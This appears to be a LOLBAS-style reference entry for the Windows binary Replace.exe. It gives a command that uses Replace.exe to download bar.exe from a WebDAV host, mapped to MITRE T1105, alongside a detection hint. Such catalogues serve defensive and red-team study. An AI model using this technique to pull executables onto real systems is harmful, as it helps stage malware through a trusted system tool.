.. / Replace.exe
Star

Used to replace file with another file


Paths:


Resources:
https://twitter.com/elceef/status/986334113941655553
https://twitter.com/elceef/status/986842299861782529

Acknowledgement:
elceef - @elceef


Detection:
Replace.exe getting files from remote server



Copy

Copy file.cab to destination
replace.exe C:\Source\File.cab C:\Destination /A
Usecase:Copy files
Privileges required:User
OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Mitre:T1105



Download

Download/Copy bar.exe to outdir
replace.exe \\webdav.host.com\foo\bar.exe c:\outdir /A
Usecase:Download file
Privileges required:User
OS:Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Mitre:T1105